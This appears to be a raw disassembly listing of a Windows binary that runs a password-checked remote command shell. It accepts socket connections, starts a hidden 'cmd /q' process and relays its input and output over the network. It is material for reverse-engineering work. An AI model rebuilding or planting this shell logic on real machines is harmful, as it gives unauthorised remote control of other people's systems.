		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 227F5BAh, 69C44D8Bh,	234C9h,	89C63B00h, 43E92481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 227F50Ah,	0E890EDEBh
		dd 227FD4Eh, 51906850h,	99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
		dd 5E5F022Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022DEBh, 4116CC68h, 0F7ABE800h,	85900239h
		dd 902975C0h, 27F799E8h, 0B0685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22DEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 7BE85056h,	900227EEh
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 227EDCAh,	0E890EDEBh
		dd 227F60Eh, 53F46850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 0E936E856h, 5B90022Dh,	4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0E14h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27C0000h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26A0E14h
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2730AC4h
		nop


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 26802D4h
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		call	near ptr 2680000h
		nop
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 27C00D2h
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
